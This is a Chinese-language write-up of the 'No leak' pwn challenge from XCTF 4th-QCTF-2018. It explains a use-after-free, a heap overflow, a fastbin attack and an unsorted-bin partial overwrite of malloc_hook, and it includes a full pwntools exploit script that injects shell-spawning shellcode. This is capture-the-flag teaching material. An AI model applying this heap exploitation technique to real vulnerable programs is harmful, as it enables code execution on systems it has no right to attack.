No leak XCTF 4th-QCTF-2018

 这个题真的很好玩   先看一下保护

No leak XCTF 4th-QCTF-2018_第1张图片

PIE 和 NX没开 那么我们可以 用shellcode 来写这一道题

先用ida 看一下题目

No leak XCTF 4th-QCTF-2018_第2张图片

 

 会发现 没有show  也就是输出函数

但是 dele 函数确实能够 安排很多东西    UAF 等等

而且我们发现 edit 可以自己定size  那么 就可以堆溢出

但是有一点就是   

 No leak XCTF 4th-QCTF-2018_第3张图片

由于指针没有清0  如果我们不自己清0的话 可能直接就gg了  10个堆可能不太好利用,

然后我们可以用 fastbin attack  看看能不能 把我们地址上面的给写进去 我们向上找 看有没有合适的大小

 

No leak XCTF 4th-QCTF-2018_第4张图片

这里发现一个合适的大小

然后可以 在搞一个unsorted bin  然后  在 libc -2.23 里面  malloc hook 和 放unsorted bin bk指针 最后一个字节不一样 我们把最后一个字节改了就可以了

然后再把 unsorted bin的大小给改了 指针改了 然后直接 让堆块申请到malloc hook的地方

然后修改成 我们shellcode 的地址就可以

 

from pwn import *

debug=1

context.log_level='debug'
context.arch='amd64'
shellcode=asm(shellcraft.sh()).ljust(0x73,'\x00')+'\x10'
if debug:
    io=process('./timu')
else:
    io=remote('',)

def add(size,data):
	io.recvuntil("Your choice :")
	io.sendline("1")
	io.recvuntil("Size: ")
	io.sendline(str(size))
	io.recvuntil("Data: ")
	io.sendline(data)

def dele(index):
	io.recvuntil("Your choice :")
	io.sendline("2")
	io.recvuntil("Index: ")
	io.sendline(str(index))

def edit(index,size,data):
	io.recvuntil("Your choice :")
	io.sendline("3")
	io.recvuntil("Index: ")
	io.sendline(str(index))
	io.recvuntil("Size: ")
	io.sendline(str(size))
	io.recvuntil("Data: ")
	io.sendline(data)

if __name__== "__main__":
	add(0x68,'0')
	add(0x68,'1')
	add(0x68,'2')
	dele(1)
	dele(0)
	edit(0,8,p64(0x600ff5))
	add(0x68,'3')
	add(0x68,'4')
	#gdb.attach(io)
	#pause()
	payload='\00'*0x5b
	edit(4,len(payload),payload)
	#gdb.attach(io)
	#pause()

	add(0x68,'0')
	add(0x68,'1')
	add(0x80,'2')
	add(0x68,'3')
	#gdb.attach(io)
	#pause()	
	dele(3)
	dele(0)
	dele(2)
	edit(0,1,'\x30')
	edit(2,1,'\x05')
	payload='\x00'*0x68+'\x71'
	edit(1,len(payload),payload)
	#gdb.attach(io)
	#pause()	
	add(0x68,'5')
	add(0x68,'6')
	add(0x68,'7')
	edit(4,len(shellcode),shellcode)
	edit(7,8,p64(0x601005))
	#gdb.attach(io)
	#pause()	
	#edit(2,)
	io.sendline('1')
	io.sendline('1')
	io.interactive()
	io.close()

 

你可能感兴趣的:(栈溢出,堆溢出)